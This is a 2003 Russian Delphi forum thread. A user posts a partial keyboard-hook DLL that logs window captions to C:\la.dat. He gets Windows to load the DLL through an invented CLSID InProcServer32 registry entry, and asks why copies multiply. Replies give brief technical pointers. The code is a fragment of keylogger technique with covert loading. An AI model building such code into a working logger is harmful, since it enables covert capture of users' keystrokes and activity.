Вниз
Скачать: CL | DM;

Hook + Dll   Найти похожие ветки 

 
bloodman ©   (2003-07-19 03:13) [0]

Здравствуйте мастера!В моей программе нужно перехватывать сообщения клавиатуры.Делаю так:
var
KHook: HHOOK;
Wind:HWND;
....
function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = $40000000;
var
Symb: ShortString;
KL: array [0..8] of Char;
WindCaption: array [0..150] of Char;
FStruct: TOFSTRUCT;
F: TextFile;
begin
if not (Code=HC_ACTION) then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
if (lParam and KState) <> 0 then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
AssignFile(F,"C:\la.dat");
if OpenFile(PChar("C:\la.dat"), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
end
else Append(F);
if Wind <> GetActiveWindow then
begin
Wind:=GetActiveWindow;
GetWindowText(Wind, @WindCaption, 150);
WriteLn(F," [Handle of Hook IS:",KHook,"]");
WriteLn(F, "["," ",WindCaption,"]");
CloseFile(F);
end;

А DLL регистрирую с помощью InProcServer : прописывую в реестре
HCR\CLSID\{00000005-0051-0400-0702-000000010507}\InProcServer32"
ключ с именем dll"ки.
все регистрируется и работает НО не правильно:
Если изменяется ХЕНДЛ активного окна , то DLL"ка запускается заново! Т.е работают уже 2 копии функции и данные дублируются.
Если опять сменится ХЕНДЛ , то запускается еще одна копия и т.д. :((
Как это можно исправить???

Заранее спасибо.


 
Song ©   (2003-07-19 11:16) [1]

Устанавливай хук сам.


 
bloodman ©   (2003-07-19 14:10) [2]

Всмысле сам? Мне нужно, чтобы dll было самостоятельным элементом программы и работала независимо.


 
nikkie ©   (2003-07-19 16:23) [3]

1. hook dll загружается в контекст каждого процесса
2. следовательно просто открывать и писать в файл в dll нехорошо
3. зачем ты пишешь что-то в реестр вообще не понятно.


 
bloodman ©   (2003-07-20 00:24) [4]

1 Понятно.
2 А как ты предлагаешь? (подскажи , если есть идеи плз.)
3 В реестр я пишу для того чтобы система загружала dll в память и обрабатывала хук.

Подскажите плиз .


 
bloodman ©   (2003-07-21 02:22) [5]

А на Win9x вообще ошибку выдает :( МАСТЕРА где же вы???



Страницы: 1 вся ветка

Скачать: CL | DM;



Память: 0.46 MB
Время: 0.074 c
1-71621
killer
2003-09-09 13:34
2003.09.22
Как в запущенной программе создать кнопку?


14-71858
jack128
2003-09-01 00:17
2003.09.22
Именинники 1 сентября


8-71758
Renul
2003-05-24 11:46
2003.09.22
Удаление рисунка


14-71881
3APA3A
2003-09-03 10:26
2003.09.22
Windows 2003 Server


1-71744
AlexanderSK
2003-09-10 12:25
2003.09.22
Ссылка на класс?




   Наверх